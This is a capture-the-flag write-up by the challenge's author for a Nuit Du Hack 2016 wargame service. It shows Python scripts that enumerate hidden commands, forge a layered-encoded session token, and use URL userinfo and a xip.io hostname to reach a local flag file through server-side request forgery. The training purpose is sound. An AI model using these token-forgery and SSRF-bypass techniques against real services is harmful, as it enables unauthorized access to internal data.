Write-Up: Todo Rename The Service Name (300 points)

Filter by category:

September 12, 2016 by Peter Stiehl
Peter Stiehl

This challenge has been created for the public wargame of the Nuit Du Hack 2016 event and has not been resolved. This is a write-up written by the creator of the challenge.

We need to retrieve the flag from this fucking useless service! We really need it, it's so

 

Topic

We need to retrieve the flag from this fucking useless service! We really need it, it's so important for our lifes to get this flag!

All we have is a draft of the documentation: Useless service 2.x # todo add good version # rename the name as it has an URL monitoring service for http://2015.nuitduhack.com Implemented fuctions: help... # todo add the full name of the help function # todo add all functions here even if available trough the help... function # todo2 add the full name to the help function in the todo # todo remove the local web server hosting flag.txt which is available through http://127.0.0.1 # todo2 add the description of the content of flag.txt which is : flag::[a-z0-9]{12} # todo3 remove the description of the content of flag.txt if the local web server hosting flag.txt is removed # todo4 remove the todos about the local web server as it leaks information about the flag.txt file # todo specify that the flag example is a regex like thing and not the real flag # todo change the port to something

Flag format : ndh2k16_THEFLAG

todo.wargame.ndh

Introduction

The goal of the challenge is to divert the URL supervision service to retrieve the flag.txt file which is accessible through a web server listening on 127.0.0.1.
 

Exploitation

As no additional information is given about how to access the service, other than the domaine name, to begin the challenge, the first step is to scan all ports of the target. The port 8000/TCP is open and when connection to it, the following message is sent:

# todo add a welcome message here

In the topic it is writtent that a help... function exists but without giving the whole name. The following behavior has been noticed when playing with the function name:

help
Ambigous command.
hel
Ambigous command.
helo
Command not found.
he
Ambigous command.

When the begining of the string is valid and matches a part of a function the response of the server is Ambigous command. and if it is not the case Command not found..

The following code is used to enumerate the functions:

import socket
import string
import time
import sys

if len(sys.argv) != 2:
    print 'usage: python %s ip' % (sys.argv[0])
    exit()

ip = sys.argv[1]

def getFunctions(rest, poc_socket):
    for letter in string.ascii_lowercase + string.ascii_uppercase:
        poc_socket.send('%s%s\n' % (rest, letter))
        resp = poc_socket.recv(1024)
        if 'Command not' in resp:
            pass
        elif 'Ambigous command' in resp:
            getFunctions(rest + letter, poc_socket)
        else:
            print ' - Function found %s, response is :\n   %s' % (rest + letter,resp)
            time.sleep(1)

poc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
poc_socket.connect((ip, 8000))
print '\n[+] Enumerating functions :'
getFunctions('', poc_socket)

By executing this script, the following functions have been found:

[+] Enumerating functions :
 - Function found createAccount, response is :
   Arguments should be : login password

 - Function found createMonitor, response is :
   Arguments should be : session path tomatch

 - Function found getMatch, response is :
   Arguments should be : session

 - Function found helpPLZ, response is :
   createAccount [username] [password] : create a new account
logMeIn [username] [password] : get your session
test : just a test function
createMonitor [session] [path] [tomatch] : create an URL monitor (every 20 seconds, one per account, begin of string is "http://2015.nuitduhack.com" you add the path) and match a string in the response body
getMatch [session] : check if monitor matched something
helpPLZ : this function

 - Function found logMeIn, response is :
   Arguments should be : login password

 - Function found test, response is :
   CRAZY TEST FUNCTION

All functions names have been enumerated. First, an account is created using createAccount:

createAccount ds ds
Account has been created

The session is retrieved by authenticating with logMeIn:

logMeIn ds ds
4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5

An attempt to create a monitor through createMonitor is sent:

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5 /en/ nuitduhack
Not allowed

An element seems to be missing to get the rights to use this function. A second account is created to compare the sesssions:

createAccount ds2 ds2
Account has been created
logMeIn ds2 ds2
bd10b2dc-d4c2-4007-8930-de8e7ac7fcc3:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5

The second part of the session is the same. This part seems to be encoded using base32. It can be recognized regarding the used charset (uppercase alpha, digit and the = character):

$ echo 'JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2UY2JUM5GFGNDHJRJTI5CMKNAXKTDJGB2USQZUORGGOPJ5' | base32 -d
LS4gLS4tLSAtLi0tIC0uLi4gLi0tLSAuLS4gLS0uLSAtLi4uLSAuLi4gLS4gLS4tLSAuLi0uIC4tLg==

Next part is obviously base64 encoded:

$ echo 'LS4gLS4tLSAtLi0tIC0uLi4gLi0tLSAuLS4gLS0uLSAtLi4uLSAuLi4gLS4gLS4tLSAuLi0uIC4tLg==' | base64 -d
-. -.-- -.-- -... .--- .-. --.- -...- ... -. -.-- ..-. .-.

This part looks like morse code. The hackercodecs python library is used to decode it:

import hackercodecs

print '-. -.-- -.-- -... .--- .-. --.- -...- ... -. -.-- ..-. .-.'.decode('morse')

The result is NYYBJRQ=SNYFR which is, to finish on a high note, some rot13:

$ rot13 'NYYBJRQ=SNYFR'
ALLOWED=FALSE 

 

Now, the string ALLOWED=TRUE is encoded the same as seen earlier. A new attempt to try to create a new monitor is done:

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== /en/ nuitduhack
Allowed

 

The getMatch function is called to check if it worked:

getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q====
Allowed
Match OK on nuitduhack
The request has worked.

 

The request is sent on http://2015.nuitduhack.com and the rest of the address can be modified during the monitors' creation. It is possible to create an address so that the credentials can be sent through it, for example http://login:password@site.com/. If the path :@perdu.com/ is asked, the address should be created the following way so that it becomes http://2015.nuitduhack.com:@perdu.com/:

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@perdu.com/ Perdu
Allowed
getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q====
Allowed
Match OK on Perdu

 

It has been possible to verify that the response of the request match the word Perdu on the http://perdu.com site. Now, the same thing can be tested on http://127.0.0.1 and to match the flag:: string as mentioned in the topic:

createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@127.0.0.1/ flag::

Allowed
IDS WAF was triggered! Did you try something funny?
He is not authorized to access to the local interface. However, domain names are authorized. A service like xip.io exists to resolve a local IP address or of a private network by using, for example, the address 127.0.0.1.xip.io:
$ host '127.0.0.1.xip.io'
127.0.0.1.xip.io has address 127.0.0.1
This address can then be used to create a monitor:
createMonitor 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q==== :@127.0.0.1.xip.io/flag.txt flag::
Allowed
getMatch 4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q====
Allowed
Match OK on flag::

 

Now, a script is created to automatically create monitors to test character by character and in case of success test the next one. The topic gives the format of the flag flag::[a-z0-9]{12}. The following script is used to retrieve it.

import socket
import string
import time
import sys

if len(sys.argv) != 2:
    print 'usage: python %s ip' % (sys.argv[0])
    exit()

ip = sys.argv[1]

def getSession(poc_socket):
    poc_socket.send('logMeIn ds ds\n')
    resp = poc_socket.recv(1024)
    return resp.strip()

def createMonitor(poc_socket, session, to_add):
    global to_match
    poc_socket.send('createMonitor %s :@127.0.0.1.xip.io/flag.txt %s\n' % (session, to_match + to_add))
    resp = poc_socket.recv(1024)
    return(resp)

def getMatch(poc_socket, session):
    poc_socket.send('getMatch %s\n' % session)
    resp = poc_socket.recv(1024)
    return(resp)

def magic(poc_socket, session):
    global to_match
    charset = string.ascii_lowercase + string.digits
    max_len = 12
    sys.stdout.write(' [+] Searching for characters : flag::')
    sys.stdout.flush()
    for actual_len in range(max_len):
        for to_add in charset:
            sys.stdout.write(to_add)
            sys.stdout.flush()            
            createMonitor(poc_socket, session, to_add)
            time.sleep(22)
            if ' OK ' in getMatch(poc_socket, session).strip():
                to_match += to_add
                sys.stdout.write('\b')
                sys.stdout.write(to_add)
                sys.stdout.flush()
                break
            sys.stdout.write('\b')
    print '\n\n[+] All done !'

#allowed=true -> morse -> base64 -> base32
allowed_string = 'JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q===='
to_match = 'flag::'
poc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
poc_socket.connect((ip, 8000))
#Get service message
poc_socket.recv(1024)
print '\n[+] Getting session'
session = getSession(poc_socket).split(':')[0] + ':' + allowed_string
print session
time.sleep(1)
print '\n[+] Creating initial monitor'
print createMonitor(poc_socket, session, '')
time.sleep(1)
print '\n[+] Sleeping to let the monitor trigger'
for i in range(22):
    sys.stdout.write('.')
    sys.stdout.flush()
    time.sleep(1)
print '\n\n[+] Checking initial response'
print(getMatch(poc_socket, session))
print '\n[+] Doing the magic, will take time...'
magic(poc_socket, session)
poc_socket.close()

And the result of the execution where the flag is retrieved:

[+] Getting session
4699c41b-cb08-49fc-a5c8-d061a684dfee:JRJTIZ2MKM2HITCTIF2EY2JQOREUGMDVJRUTIZ2MNEYHITCTIF2UYUZUM5GFGMDVJRJUC5CMNE2HKTCTIF2EYUZUM5GGSQLVJRUTI5KJIM2HITDHHU6Q====
[+] Creating initial monitor
Allowed
[+] Sleeping to let the monitor trigger
......................
[+] Checking initial response
Allowed
Match OK on flag::
[+] Doing the magic, will take time...
 [+] Searching for characters : flag::3dq2yto9sppx
[+] All done !